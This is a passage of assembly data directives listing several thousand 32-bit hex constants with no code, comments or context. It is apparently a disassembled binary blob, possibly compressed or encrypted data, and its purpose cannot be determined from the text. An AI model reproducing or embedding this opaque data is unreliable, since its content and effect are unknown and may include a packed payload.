0E70085CEh, 9D5FD28Ch, 37E3606h dd 0F61C65BEh, 9A80DEB6h, 2B7639EAh, 51B26800h, 636049E4h dd 0CB825h, 0A0C608BBh, 8012666Ch, 87936150h, 1603B00Fh dd 8BB86235h, 7F18E1EDh, 1F2B3DCh, 23257953h, 74E3B5AAh dd 0ED01A2D0h, 0A3CF8A82h, 5D95563h, 1494830h, 4DF09283h dd 0E82B1BC2h, 0E00ED4F3h, 0ECBEA94h, 583D20B3h, 18AB85h dd 5D4C6D43h, 932D2F9Bh, 0D3B87202h, 50071A36h, 0A4520088h dd 0C6EB13F7h, 6B739EB7h, 0BC4D8C2Ch, 0E9637E01h, 8C409B1Eh dd 0E318CDh, 0AA04DA4Bh, 742EACC1h, 4FDCC000h, 0AF554EB6h dd 88E007D5h, 6FEA9DE2h, 1B3B9A80h, 3600CBBBh, 0B8782B25h dd 1DD79104h, 28140190h, 16600084h, 206D950Fh, 0C7001263h dd 0BD8ACCC0h, 0E71A60Bh, 4F377D62h, 0DD409B63h, 0E4BCFCh dd 42F3C736h, 1CC96BEh, 3DFDADDAh, 24B01FC4h, 45002200h dd 0E2D6FA63h, 0FC28EDD3h, 77740070h, 6CC29DCCh, 7B00187Ch dd 52F472C7h, 12A69B40h, 80F1C49Fh, 6B3CE180h, 69C62Fh dd 972D4E44h, 0B6F4026Fh, 0C3BD373Ah, 38FC3448h, 9D8F9A02h dd 8015699Fh, 55E1CD8Ch, 37FD017Ah, 38AE6548h, 9A7D7009h dd 30548D09h, 0F67478EDh, 0BF230079h, 33FA0BE7h, 0E9039A83h dd 70DE64B0h, 9B82CFD2h, 2C945C65h, 0AEB0027h, 88711E1Dh dd 0FC9F5103h, 0E886C69Ah, 0C493C1h, 466223D6h, 48211A52h dd 96A5F39h, 0D3900Ch, 0B8CB7E38h, 38EA00F7h, 9C60D420h dd 6B065203h, 0DF2D6E1Ch, 4F250078h, 950B5987h, 0C7F630EFh dd 66832400h, 0A60D8F2Eh, 8BD0A94h, 888B86Ch, 0D38077D5h dd 454A3554h, 909478h, 8D4C3B7Ch, 3E0F640Eh, 407A0DC1h dd 5DD8A425h, 41E2002Bh, 326265FAh, 8C004C2Fh, 73C07938h dd 58552574h, 0C200BD5Ch, 9A80BAF7h, 0FE033A68h, 79BBEE19h dd 0FB5FF8A9h, 2393006Dh, 73D4801Bh, 0C8A3AE66h, 0C1959088h dd 2381F00h, 4871AC8Dh, 979C0013h, 4E1AB7CCh, 0E009547h dd 451989E5h, 6EADCFh, 0EB2D50C1h, 0B5688E07h, 72DC7801h dd 0F8F62806h, 4D313C20h, 0D92EACFCh, 34118008h, 126F0E8Bh dd 8C80204Bh, 78D50C3h, 53C180B1h, 3D7F10B7h, 674BF0Bh dd 31638B05h, 0E8F0868Ch, 2D98A0D2h, 7E7777B4h, 0D3F01FFBh dd 0C0B0DD90h, 13417D7Ah, 0B200C43Fh, 9F0EE65Ch, 28D9ACh dd 0CDF4260Bh, 0ECB58BCAh, 2CF6E700h, 7017FBAFh, 49302489h dd 610006Ch, 7DF191C0h, 79517B01h, 66D50A78h, 423020h dd 1DBA80F3h, 16FC6534h, 0A3583702h, 82D93B46h, 20BB8CF4h dd 0E6CDF2A0h, 0C80095B0h, 0D68A1B97h, 3CC9BA62h, 558002BCh dd 487BA374h, 0B19D1A2Fh, 5420CCF0h, 0AB500B74h, 6D80AEB7h dd 93E7C46Ch, 0A900857Dh, 6A577AB0h, 733B4DEAh, 163000C6h dd 9A48FD62h, 0CBE03C5Fh, 616E6F00h, 0E3569164h, 221A137Fh dd 8E300A7h, 5A8303D6h, 14C6D005h, 7CC31F2Ch, 6B182E09h dd 0E841037Ch, 6AC3D5F1h, 0A680C1E8h, 228D4701h, 0E96EF081h dd 0E827A4F0h, 46520949h, 0C00C965h, 9343BE78h, 4C8F8E00h dd 0BD980F33h, 0CB260158h, 80C7CE4Fh, 3774D410h, 1C637F00h dd 0A4126B8Fh, 48E31C5h, 6D7EBCD8h, 99600494h, 98903A71h dd 4B65AD38h, 0BC208031h, 4590C687h, 6E49FE07h, 0A370D0C7h dd 70BAB6Ch, 93AC9B5Bh, 215C50E4h, 75134287h, 441CC36Eh dd 8ED47081h, 0A4402AAFh, 1D0F93FBh, 0C013285Ch, 0F171B1D1h dd 6EE64EFDh, 6FCA7900h, 6C46A7F3h, 3769009Bh, 0C25EF003h dd 0BFE8D818h, 4D3360F5h, 0E39DE800h, 13038453h, 61660536h dd 1E9F5D5h, 813DBAA6h, 0BBF084DDh, 330F5A5Fh, 0E5744500h dd 11130904h, 6C00051Ch, 979A07CFh, 4AF27AA1h, 2860C874h dd 0D8861B00h, 0DA2B9381h, 0A809009Fh, 72202304h, 8B00981Fh dd 56716ABh, 0FE90BBE3h, 6C1700F4h, 3B065304h, 0CF00D6EFh dd 49DC210Ch, 4C4B9874h, 0AA002CD8h, 8D1D3C6Dh, 0A7055CFBh dd 0D65FA586h, 0C01620D0h, 107B0A79h, 7C46794h, 3939D782h dd 0CCD1EC20h, 4C04A2F9h, 0C976D3ABh, 50D45080h, 25B009Eh dd 0CFDE68C5h, 0D601069Ah, 0D80FB9FFh, 4CC08521h, 0EA260015h dd 8AB30249h, 68F465A1h, 7E3ABF09h, 8C4800FAh, 22E516h dd 595A9388h, 236C5F8h, 0B61E100h, 0C28C8F0Ah, 0B59C063Ch dd 0A0CBABEDh, 5878B002h, 0C07A2D33h, 2B0AC4h, 0CC6645AAh dd 0E1EF61E7h, 0BA774300h, 209E5C0Bh, 0CE7500A5h, 3CEE0227h dd 6C01E4A9h, 0FB2F1E23h, 0BAD4AFBDh, 8C7D014Ch, 936105CDh dd 6E9EC431h, 0E4C36B00h, 0D9FAB755h, 0BA65018Dh, 0E67574E5h dd 0FC6421EAh, 61EACB92h, 4A50F007h, 0F3E0A268h, 0FF6A194h dd 48173854h, 2E0959A1h, 34403B7Eh, 1852804Ch, 71BF005Ah dd 0A2D92629h, 0D00CC5Dh, 0FF62FEF7h, 0E6EE4BA7h, 47210010h dd 585A4D1Ah, 689E175Bh, 0A8F09913h, 566C39E6h, 911217F9h dd 81248025h, 0C0E3F4A5h, 7100722Bh, 2FDC5F66h, 0B5E1C9h dd 0D247D34Fh, 8619CF40h, 207CC31Fh, 0C234CAC0h, 16620488h dd 0E91873h, 6E224448h, 0AF006054h, 35CCECC9h, 5C2FAB2h dd 426D4781h, 26E4A0B4h, 2000137Fh, 0A1FA3956h, 1C78B6D4h dd 0C03552F6h, 73CBD075h, 473AFBEFh, 0C32692F0h, 40A4FC00h dd 0BC208D66h, 548A0068h, 0E2B2D95Ah, 27FC9812h, 615340C8h dd 0C2C0116Bh, 0A5DAF008h, 4044974Bh, 8B4D2DFh, 0C64D078Fh dd 412D8E58h, 8C1A5654h dd 10458D18h, 843900CEh, 96D75F04h, 4B035DC9h, 1FCF3B5Eh dd 5167D863h, 6F3C0007h, 9B4E8894h, 34BA3C2h, 0C4337800h dd 0F7B0DF3Eh, 0F400502Dh, 74400C1Bh, 73DCAA7h, 24100027h dd 0FEEDCF2h, 0B47713D7h, 3D5206E7h, 56009879h, 49669DA4h dd 1E153EF4h, 96DA8133h, 3B4444B0h, 2080B2E1h, 0CF5F58ADh dd 0DA547F00h, 2191232Fh, 0C6001870h, 82CA15C1h, 253EB64Dh dd 7898AFA8h, 503E21F6h, 7AEB00C7h, 9EF5520Ah, 4ADE1DFCh dd 8429C116h, 806E5C71h, 8E7F14B0h, 955573h, 0EBB0421Dh dd 72FD43ECh, 18DC4A00h, 0E909B968h, 276C0283h, 8D311522h dd 4EDB1040h, 0AF2A2100h, 9B36F0CFh, 29EC0776h, 605B59CCh dd 2C48C334h, 0BC677100h, 5E8F2407h, 1F510031h, 13BE2818h dd 0E93D46F5h, 35FDD0C5h, 0A306839h, 884C89CDh, 0FC61628Ah dd 0E0DC7080h, 458A85Ch, 347F250Ah, 0AC39C0C7h, 6800481Fh dd 0A2C68E5Dh, 2A5CF627h, 1B0C0F7h, 13BD95D6h, 71F96933h dd 9FB2206Eh, 2BB1B424h, 0A6F63900h, 74A16DAFh, 20CA0C96h dd 25788DE6h, 6050333Fh, 2EA1B160h, 8120C155h, 0B026CBEBh dd 4E6AA118h, 0ED52008Dh, 5C42119Fh, 19F8ECAEh, 5823D424h dd 0A8F5C681h, 0C5D08F01h, 1DA53DB0h, 2180E774h, 40A90D63h dd 0E901B8E4h, 52BFC48Dh, 6883F254h, 0C5323B49h, 0DB59801Dh dd 5203C1D0h, 0BA020728h, 5F1C8900h, 4C33879Dh, 3B66193Eh dd 84BF0864h, 9D36FB21h, 93AFE6C0h, 0F4C90BD3h, 0D401845Ch dd 40140ECEh, 6B7CE1A0h, 77716D0Eh, 182600C1h, 1C799E0h dd 2C1272B9h, 30AB4FF3h, 0CD007E43h, 0C5698050h, 0EAD6D3h dd 490B23B4h, 0F7F82D08h, 6FBC760Eh, 0EF534Eh, 0F5567F8Ah dd 53794239h, 87C90800h, 2AE3B00Fh, 214900F2h, 848FCE86h dd 7A5CA401h, 7F29005Fh, 7571F1A1h, 1B370053h, 0A044464Bh dd 8D000FE0h, 0B82E4F49h, 99B63Ah, 0C2FB12BAh, 80229370h dd 0ACAD7704h, 0ECC7308Fh, 2E86104Ch, 12CBE7Dh, 6591E38Bh dd 0B1089853h, 662121h, 0C2FE1BBEh, 0A5B502CFh, 89267C00h dd 0DFC8935Bh, 76FF19D4h, 0D3AD18E6h, 3A6F383Ch, 11A8B062h dd 1D01F4Dh, 0B30C0EABh, 9B242682h, 98217908h, 0FDBD0F5h dd 0D8466310h, 931CE027h, 5864D752h, 1D636050h, 1C0ED2FFh dd 0E810AA31h, 0EA07D0F3h, 194E57B5h, 46AFD480h, 0AC81802h dd 40A0A972h, 2A685800h, 0D40BE557h, 0A71807EFh, 0BFE45DFAh dd 80CE9EA6h, 25478605h, 0AC1C3504h, 70C3D6Ch, 0D7497Eh dd 0FC78A3DFh, 49682E1h, 0E908D263h, 412000A5h, 0A9C0A3B8h dd 3F0F5612h, 81AD60BFh, 0C9772282h, 0CF4BD040h, 0EF590015h dd 0D47E8AA4h, 10F81A55h, 0AB008DFEh, 739420A3h, 849B32h dd 0A9ECC323h, 90D3EE83h, 0BB187500h, 2CE8CEF4h, 0BDD50002h dd 43368B0Ch, 0E018FC0h, 73016CBCh, 0F7604749h, 0CAAD04B8h dd 0C0754FB2h, 0F8C44AC8h, 40735C03h, 3E62C739h, 0D086311h dd 0B3004E98h, 5BE2DFEAh, 407DC8h, 96A316B6h, 89287157h dd 0ED8C96A0h, 75DB3800h, 0D9C89DC1h, 0EABF00E2h, 2266F657h dd 731F86BCh, 0F1804546h, 27FE2447h, 8DF605h, 70939860h dd 9C644ED1h, 773D0D00h, 62B9A8F6h, 0C4033C22h, 30071B87h dd 0C181F0A1h, 9E00F052h, 1AEC4435h, 9D2E06Bh, 4A66583Fh dd 0BD0DC601h, 7AA7DC29h, 9AD8503h, 87B9B0ACh, 9CE5EB00h dd 348FE7Ch, 0CE23DF49h, 0D00006CBh, 4C38B35Ah, 0ECDC5EF1h dd 2E4E0086h, 26BB0BECh, 5B006097h, 167FC394h, 3931BF1Eh dd 36006977h, 4EE46AFAh, 430082A6h, 1B729C93h, 0E5C478h dd 2937FFE2h, 0B610D45Dh, 0B4070B1Fh, 0A862F180h, 0A85A98CDh dd 0AE1E94h, 0D5E2E16Ch, 0DD53057Eh, 0A1DEAD00h, 0C249CFD6h dd 1D8310A5h, 710F1C28h, 23E25B40h, 289DFB3Dh, 0E0F97Dh dd 11388B3Ch, 0EA5EE42Ah, 0FDAA7400h, 0D3136D52h, 998F004Fh dd 40A1DF0Dh, 3CE811ACh, 0C9EDFB12h, 8B6C0040h, 5A6462h dd 0CCC25E76h, 5C6B984h, 43933A00h, 0D483B40Ah, 0C7B638CBh dd 87BEFD00h, 15EFF47Fh, 717A8BFCh, 496E16C0h, 1D544Eh dd 0C07336CFh, 0F769D476h, 8B149B07h, 44671AB3h, 7DF746Bh dd 0C017E1D1h, 47165FA6h, 924F890Fh, 67CBA050h, 18C1D0h dd 4030ED32h, 9F176842h, 0E5F22D1Fh, 51AB8C00h, 0AFBAE1h dd 2647599Ah, 0A410F514h, 841BE900h, 388DB180h, 0BB4903E4h dd 33C76055h, 0A3F09FD8h, 6826D00Eh, 0E45E0AD8h, 0F8FBDB00h dd 4B34E51h, 3AD41A3Eh, 0C0909717h, 0E9EA67CAh, 0E65BDA00h dd 7C84CB5Dh, 60D570A8h, 63687AFFh, 870E45D3h, 0E0B2BA55h dd 0E1E6F61Eh, 7D3D0098h, 97EC9BA1h, 6B006730h, 5B28669Ah dd 241BF132h, 134B43Dh, 0C701813Ch, 85799022h, 3F3BD000h dd 19B955DAh, 0F3E66504h, 2087C9CEh, 394FA0BFh, 269BEC0h dd 0ED5E8615h, 0DCA0EB01h, 0BB73AE4Bh, 0C20F120Ah, 4C00C029h dd 90770B32h, 0C4FD001Eh, 0C108187Fh, 731F123Ah, 8540932Dh dd 79CB15E8h, 8C2400A8h, 0A135060Eh, 8F3DD317h, 0C6017ED5h dd 0A6266E7Ah, 94505B23h, 335E73h, 0CC7C65BCh, 0CF4AE206h dd 8D18E70Eh, 89D2069h, 7671B6A6h, 77F5B0A2h, 0B0570067h dd 4A6C2546h, 831F408Bh, 0F900E80Fh, 0E14F5B8Ch, 859703B9h dd 7F774AF6h, 5C4E3BE0h, 83027400h, 0F0475AF8h, 0CD52007Eh dd 3ECFDF6Bh, 0A2908757h, 68F9AD03h, 0FD389EA9h, 59F835C0h dd 0C0DD071Dh, 2025F440h, 86B94ABBh, 508FB300h, 0D4A1AA05h dd 576226A0h, 91F18794h, 0DDD9D0C9h, 0ED00035Dh, 166E9D11h dd 0B0FE31h, 3DBFD63Ch, 3EF85888h, 0C9227007h, 0D4D0F3FDh dd 4C4A60ADh, 0B40041F0h, 774B80D1h, 0C300365Dh, 840D68CDh dd 0E8338D0Ah, 9AE001Dh, 7E49FA21h, 0D9002366h, 0D240C729h dd 18CEE23Ah, 809CF068h, 0AE018D81h, 0D80C6B50h, 3DFC5E40h dd 9BF600CCh, 0B4788AC0h, 0DC00E1ECh, 3F38536Dh, 92AD67F1h dd 9A78FCh, 17030971h, 0AA241F02h, 0ACBBBA00h, 0A44FDC8h dd 0FB110034h, 8FA9366Eh, 8A393013h, 8D9C001Eh, 0C147BAC0h dd 27400028h, 3ED95486h, 6D009E50h, 0E737A98Fh, 48B7678h dd 326E04EAh, 6558D72Fh, 1F90203Fh, 0AD00D9E3h, 0AF0BD38Ch dd 5B2425h, 3F5C2841h, 60B01C6Bh, 1F2C593Fh, 0B580406Eh dd 0ACC3AD49h, 0FBA200C9h, 0FB2212Ah, 0C7508F0Ah, 0B600F1AFh dd 0F503555Bh, 5018A211h, 795ECE1h, 0FC074ADDh, 5ECFF035h dd 113DA22h, 7A004761h, 0EF3C4FDEh, 0A52900D6h, 41E89ADFh dd 0A2EE755Fh, 3AC83513h, 1B87EA00h, 3B5684Fh, 1D8D2616h dd 98C82CF0h, 0A50CACBCh, 1C8012D0h, 0B404008Ah, 0AF46BA20h dd 300B5C4h, 12FADD48h, 0A1F789h, 65A78A7h, 5F2A0B28h dd 0F8B3C328h, 30655200h, 25D4EBB4h, 0BA5C0039h, 8A43DE48h dd 2700985Fh, 0E47D210Eh, 1A25FAh, 0C370072Ah, 0DBF7CA9Fh dd 0A300CC78h, 0D0722475h, 9BD34Eh, 2367FB57h, 3F74939Fh dd 7C29700h, 7ED9879Ah, 6FCA3CE9h, 1A85D80h, 0C02A62F7h dd 67B35C00h, 173E7365h, 0CB5B3A99h, 72B3A00h, 0AA6F449Eh dd 39A29F00h, 0C34C64EAh, 0F7AF016Bh, 7197CED1h, 0A040EE51h dd 9000024Ah, 2B143D8Bh, 263FB90Bh, 5D81A9h, 38DFF727h dd 6B007D80h, 0E7F90165h, 1D759DE0h, 0C1174F69h, 0EA72D7D0h dd 0A55E3095h, 0E9CB2B05h, 5CD09B75h, 0E1E05Ch, 0A036CDF4h dd 7CEFF06Fh, 80C729F0h dd 39F506Dh, 0F62AF85h, 2CEF6010h, 79891A41h, 10FC40A6h dd 5B3B05B9h, 5C24806Fh, 0BBDBC96Bh, 0BDF400A8h, 3DB49731h dd 0A37CCFC4h, 2DE81303h, 80A11CEDh, 0C36F6h, 0B8A48F8Ah dd 0EC7D7207h, 0F8C89018h, 30EED3A0h, 0C08877A0h, 7B242B22h dd 0C981C4DBh, 0C37929A5h, 0D42F0840h, 1C0BD4Fh, 2705A05Eh dd 3849AFD3h, 0FD9A820h, 187379C0h, 587088F0h, 2E086E72h dd 27F502E3h, 4E074E7Ch, 47F1C53Fh, 0BCF8F7FCh, 0C6EEE7h dd 2342F4BAh, 0B36DBE33h, 0A7887A00h, 31C34D62h, 0EC27796h dd 7892162Fh, 42A6B00h, 36001CD6h, 72E7706Fh, 0C1E59Dh dd 0FF6503EFh, 88D5C698h, 8EA84F00h, 0E3F73F1h, 0D6400B92h dd 0EB806436h, 5EFE7C03h, 9ED7603Fh, 0FD809B50h, 77448DB9h dd 3FC1C96h, 7B93404Ch, 0BF3E2C54h, 6B56A201h, 1CF93CACh dd 7E274ECh, 0C757CD4h, 63EB8024h, 3F1DA0B4h, 70400252h dd 0FAA61C64h, 30D83AC8h, 0A20539BAh, 80EA5896h, 0B2E6CD66h dd 1175620Bh, 0FC5C205Ah, 31A0646h, 0F49F96D3h, 8338EDBh dd 0D80F215Fh, 1F74FD06h, 0BA2DD7h, 0DF6DC231h, 6A01C435h dd 0AA5DCB4Eh, 92F03207h, 0FB9E155Ch, 583AC4F7h, 6E8D2080h dd 75C0EEC8h, 7E041048h, 1FB121C0h, 23F421h, 41C962A1h dd 0E6B636D0h, 2DCD8D00h, 944D6AC6h, 7E30C119h, 22AC1DF9h dd 1BA40718h, 7DE04391h, 66494FF0h, 21B008B5h, 91247F07h dd 4E24DA7Ah, 0DDD32090h, 585560EDh, 636B71FFh, 0F89170D8h dd 1AE10FAEh, 158F7DDAh, 116C54AAh, 20F6809Dh, 8CC06E8Ah dd 0A65D44h, 4005211Eh, 8EB015DCh, 302DD35Ch, 0E1E778C5h dd 65EB40DBh, 0B1C1C2ECh, 61104241h, 28D4ACF2h, 0D1E940ABh dd 4FB2203h, 90E37EA5h, 76223E2h, 0EE80ECA2h, 0D53730D4h dd 10E22AAh, 60358307h, 0AF591456h, 67960004h, 0BFC40C4Ch dd 8006D58h, 97F36E28h, 4163918h, 4DE6115h, 3B440EFh, 0E843B3A9h dd 0C5E1039Fh, 0E08A69EDh, 8B00A673h, 0F3D0F979h, 3F944716h dd 0D100E334h, 31CD69FCh, 4B03C25Dh, 3595710Ch, 0E06CEB8h dd 5F0A308Dh, 381B6640h, 1A002063h, 0C910FE51h, 0CE7164h dd 4431AB75h, 30A5C8DFh, 63363Eh, 2A5A1D5Eh, 0BE7EBh, 4B988C52h dd 0B8062C9Fh, 8135FFA1h, 0E0E53E58h, 38BC02F5h, 42EF1380h dd 21E6CF66h, 492C481Fh, 6BF28B86h, 0FE5A7C18h, 7D7268h dd 0D88FDFBBh, 0C165EFBAh, 231FE3B8h, 0DC0F486h, 30916C6Bh dd 81CE32F9h, 4959C11h, 666AC786h, 1C80FE10h, 9D4326BFh dd 4CB4809Eh, 0E613E17Dh, 49410103h, 0F9B8CEF3h, 0C0DF3B0Eh dd 0EC6585h, 309936CBh, 0F8D21644h, 98322700h, 33DAA59Ch dd 0EFC3009Dh, 3F8F58D7h, 0AA00C26Ch, 7A8BFEC1h, 5C705Eh dd 8668E5A7h, 291D6A4Eh, 0C903E00h, 8FAF2D0Dh, 7BB758Dh dd 59EFB5F6h, 0C535301Fh, 4706A651h, 19AEA024h, 386D05A9h dd 80D2EF59h, 8E46C6BAh, 4FECEE00h, 3568E79Bh, 317300B3h dd 7EF50EADh, 0C5A006B1h, 3007E096h, 1DD8334Ah, 0BB306B47h dd 0F0495Eh, 9AD2BA3Bh, 9EAEC913h, 53FC0900h, 0F220E18Dh dd 191ECEDh, 786AC3BAh, 0CC9357E4h, 7A1DB14Ch, 0C4CF2D14h dd 9946E1B4h, 0D8DB3E36h, 5948144h, 6B9219AFh, 834080F5h dd 0D67A460Bh, 53EE4000h, 4F63B955h, 724A1FC1h, 530C086h dd 20FF221h, 4857DCA9h, 0F40077A8h, 0BA54BD47h, 1A9CF840h dd 0A8DCC1FDh, 0F5E28300h, 0B0002826h, 9D9E300Ch, 0D6F67Dh dd 953B1E0Fh, 330B7AF0h, 4C26FC01h, 3C1DF307h, 14505921h dd 2D4A971Ch, 207E3A76h, 0AC27C800h, 396A67B8h, 5F0015E4h dd 22EE5C53h, 0E00A31Ch, 3A16A48Ch, 3E4018F7h, 530081ACh dd 0BC45DE07h, 6B016D54h, 16ABC03Ch, 7DC865FBh, 4688069Ah dd 0F0B34BDAh, 0C8037707h, 11A3EC0Fh, 2A380047h, 0CEFB62BFh dd 4A00926Ch, 397AEB51h, 0FEFA7F2Bh, 0AE5200A7h, 9DB100Ch dd 0A30E3518h, 401319E3h, 20712D84h, 0BE0F009Dh, 18A0B5EAh dd 2B3D67A7h, 0CA6C0008h, 0E3EE0655h, 379400C4h, 2EF7466Eh dd 49B835BBh, 14643100h, 7C3F53Ch, 637C24h, 556BD88Eh dd 0A351412Ah, 0D03A3E2Ah, 408F2700h, 15A7DED1h, 0DD671E54h dd 2D0E43BFh, 58C0C82Eh, 0E8004C13h, 6DB099DAh, 591AD3h dd 3A83E58Fh, 0F26A9F8Ah, 9087B300h, 1DA1582Fh, 2C78023Bh dd 0CE6D7B2Eh, 6E4A48Ah, 767AE9CCh, 4773591Eh, 0D4012440h dd 0CD5D1h, 0BE21F1DFh, 875DCA54h, 1160AB00h, 9C104A8Dh dd 97F69Ah, 0ED1B3372h, 933021D4h, 694E5100h, 0AC888B7Ah dd 765D12BBh, 0EA2009ADh, 0CBDCAC00h, 20EDB4ABh, 0C400053Ch dd 0BFEF6C4Bh, 1DCE5699h, 589343h, 6847ADDAh, 0E17964FDh dd 80F2B200h, 19855F74h, 0DD251E9Fh, 406D936Bh, 4F69348h dd 98001A64h, 1840E18Bh, 0A86A03h, 9BE68782h, 0F15A4829h dd 0A37AD400h, 40A7FA96h, 95F900EFh, 6CB44960h, 3D617BC4h dd 0CC11D9C8h, 79129440h, 0F1DE1D3Fh, 0ED05402Fh, 9ACB1B49h dd 63FE060Ch, 76C330CFh, 0E10100ECh, 27910EB6h, 1A1F52C4h dd 22816FA5h, 143C7737h, 0D6A0DC47h, 6D9092h, 0F2E68E0Fh dd 63372EBEh, 0A86F90C0h, 0A23C8Ch, 7C87DA66h, 68559D0Fh dd 998F8800h, 0E9D289EBh, 49FE1C4Bh, 0D8B3406Bh, 3A310EABh dd 5995D400h, 0D2EBAE2Fh, 0A5FE3FDFh, 0C8472095h, 0DA31F201h dd 207949C9h, 2A00297Eh, 5BDBF324h, 0EA551EAFh, 68920442h dd 808E1944h, 7CEAD420h, 2E656B00h, 49D86A1Bh, 0B9DE1C18h dd 61114168h, 203EBCFEh, 380009A8h, 0EF191631h, 506EAAC8h dd 1F8AD07Fh, 4312638Fh, 0B857F8CBh, 0CE3135B0h, 39624709h dd 0E4F4002Ah, 0F45F294h, 0E7976E2Ch, 99677C00h, 0AA2CF151h dd 0CA2C798Bh, 876B3300h, 1522B186h, 0B4214E95h, 8BBA1300h dd 0E9667526h, 0A460F4E2h, 0E8561718h, 2927634Bh, 51C8641Dh dd 0B500F197h, 0D78495C0h, 0CFBC34h, 98792780h, 0D1B192B6h dd 94E92C28h, 9A08B204h, 0D4904695h, 1C7DFFCh, 58328166h dd 21ACDCC2h, 4B78D474h, 9CE6AD26h, 47950139h, 0AFAAF918h dd 0C0B2109Eh, 0D1579C08h, 2F0EFDCEh, 20C68C02h, 7C96FE36h dd 8B600D8h, 9524C714h, 0E000F85Ch, 925946C5h, 9ABE2387h dd 0F6402EB0h, 0C0FE1C71h, 9099FF71h, 1900E4BBh, 0B2690EB4h dd 1DE5AAF3h, 15F9825h, 7AA459FFh, 0BE49E4A2h, 0BAD88160h dd 3D9C7Bh, 94FDDFB3h, 970AE091h, 25015B7Dh, 351455FEh dd 5FE03D90h, 616C0083h, 0C431793Ah, 954CA7F7h, 2CF3F70h dd 41FBE368h, 0F144E04Ch, 7BB200B4h, 52978EFEh, 0CF05B0D5h dd 0FD589D24h, 7BF5C01h, 343090ABh, 4A0A0073h, 0BAF9EC20h dd 0FF01374Ch, 0B3986E40h, 89C86D8Ah, 18C4002Ah, 8C9796E0h dd 0E600222Eh, 7CA178B1h, 1F41FA0h, 0CED68716h, 0F4F74352h dd 92038FCFh, 95CC6CFDh, 25F6E8AAh, 0AE5F002Bh, 3BD870B1h dd 0A001D39Fh, 7EC21253h, 0B4C4BD7Ah, 16AA004Ah, 9E87F45Dh dd 23F299E2h, 4BB85600h, 881FD0CDh, 0E1CB0743h, 30DCE05Bh dd 4E47AA7Fh, 2D972B00h, 66FC1E4Bh, 93ED0035h, 867D025Fh dd 4E021FCFh, 4C65D6DBh, 73BCE445h, 0E97707C6h, 901E9D7Eh dd 50AD1CF8h, 0D30354B1h, 0C807A623h, 0C06D1113h, 0A7EF8E14h dd 6F701C68h, 0E8859400h, 0F0FFFA9Bh, 0F5920437h, 9065D79Dh dd 461D0A18h, 81A3013Ch, 7FC932EFh, 0C8C6A673h, 1847613Ch dd 115DB875h, 8C3C4699h, 8548D9h, 40C91A7h, 0E8C97Ah, 0D05985AFh dd 278C65DFh, 92138100h, 9548555Eh, 8A76CDCFh, 0D4D02518h dd 8914C935h, 548C2ECh, 3ECF7610h, 0D9F51420h, 0A0634C5Bh dd 9D2C2100h, 5EB062A4h, 237D7100h, 54F75270h, 0CC400DCh dd 4731A50Ah, 0E5006DD6h, 0FADB89D9h, 764341h, 9BDF2C85h dd 4CB86CD1h, 9C690605h, 0C8045073h, 74A79122h, 8B2B94C0h dd 555989ADh, 30D00334h, 0C099055Dh, 171E8C3Eh, 0EF8D6Eh dd 0E811F34Dh, 6A6168B8h, 42B99C20h, 8148DECFh, 0AC506993h dd 18276E6h, 58CD9B56h, 0C8976DADh, 8000D99Dh, 92DE0143h dd 29B53CCh, 0BD56506Ah, 209C63D8h, 988C67ECh, 2A863077h dd 136B7020h, 0D9673530h, 1C19A4Bh, 6097D2B2h, 982FEA69h dd 0A6214208h, 0F8C10070h, 5FEBE98Fh, 0DE080299h, 396BE6FCh dd 0B2110382h, 843CB4Ch, 4061ACE1h, 0A9D5C80h, 9DAC0E7h dd 95A4A8C3h, 2458006Ah, 18035691h, 1E004C1Ch, 6D732B23h dd 93FD13h, 0FB9B8574h, 0C1EABB4Eh, 816E6F01h, 2F5E298Fh dd 6B71BC50h, 264A43Ah, 0D2AFC147h, 401965FFh, 9D953181h dd 0DBF2BCC1h, 7FAC77F8h, 0EB603770h, 2CB56B21h, 0C853605Ah dd 0CD2BFC52h, 28501D03h, 1889E8AEh, 3183F3F1h, 20009701h dd 3EB41452h, 12F8269Dh, 50D5F09Bh, 8000B7E0h, 1A8674DBh dd 3C02548Ch, 2D6AC94h, 32284811h, 4381C053h, 0F7A23E7h dd 9DFC9303h, 0E04BAB77h, 9282F384h, 0B07C0040h, 21274828h dd 0FF778147h, 215008CCh, 0E4C87945h, 0D2740472h, 8360E4B8h dd 0AAB9333Ch, 0C004029Bh, 490A889h, 2A1AEAA3h, 932C80B2h dd 94123A8Bh, 1806470Ch, 18C9AAh, 36CC7389h, 0AF6C4588h dd 4A3D5C1Fh, 3E9A5740h, 1C6FEAC5h, 53FD6160h, 9F1C03FFh dd 0E10068A4h, 3E1A8CEDh, 19CFDF92h, 8A78A85h, 58042499h dd 881A841Ch, 2820D312h, 41FEB427h, 9D509139h, 381A8280h dd 608C8F92h, 9ACA210Bh, 0E402E81Ah, 0C2C1560Ch, 0CE4C4849h dd 0EA884030h, 0E917090Ch, 20BE18B0h, 28037CFCh, 2E1690D1h dd 5610067Eh, 40339609h, 0AE649301h, 0C9974A04h, 905CBBE0h dd 0C4B200B2h, 6DB51277h, 7E7BEE02h, 0B324E005h, 0E008CC59h dd 0D994CF85h, 0E0B92714h, 0E5CB6AE1h, 48382110h, 111F756Ch dd 14FA6E88h, 3EE85A80h, 2C9A294Eh, 4628C201h, 7918D127h dd 0F2BA3F88h, 108800D8h, 0FC64F237h, 9A00BD8Ah, 2C1E23FDh dd 0E259E9E6h, 545B119Bh, 3A9D009Eh, 8372675Dh, 39261FE6h dd 90EEC096h, 6E382B8Dh, 7B0ED777h, 3D292A5h, 0D841F579h dd 924E3211h, 76C6006Ch, 55A24260h, 45054A71h, 85D3E0BAh dd 60A7D082h, 0A80ED45Fh, 7A92F5B4h, 14BC0C2Ch, 7F511902h dd 1AC591C7h, 84D4DD14h, 30D29041h, 2889F079h, 0D89182ADh dd 0FCFDC0D0h, 206D982Eh, 30140C22h, 48A40B89h, 0B6EE11ACh dd 0F405D70Ch, 97493529h, 0D6800048h, 210CC290h, 455A3D52h dd 0D764BE00h, 8130734Ah, 6E6138h, 94227F24h, 906950E6h dd 0D32C0820h, 0B893406h, 3E9D8125h, 718A563Dh, 83F45A04h dd 6024CE92h, 34AF3824h, 6579CA62h, 613FE474h, 0D0C782CEh dd 88F1B79h, 81F09F91h, 30D90C80h, 59AE1646h, 0D09F6490h dd 0C240003h, 0B7E02B7Ch, 0E37FE025h, 9BD6C20h, 0A480E83Eh dd 1BCF6090h, 372A9100h, 0EB33F5A8h, 487158AEh, 0ACD46614h dd 605C6B24h, 0F1E89A29h, 0A098F04h, 3C8D2B86h, 8C164C30h dd 0C3C17304h, 96629FD2h, 89A9CCA0h, 0DE0C56C1h, 900CACF3h dd 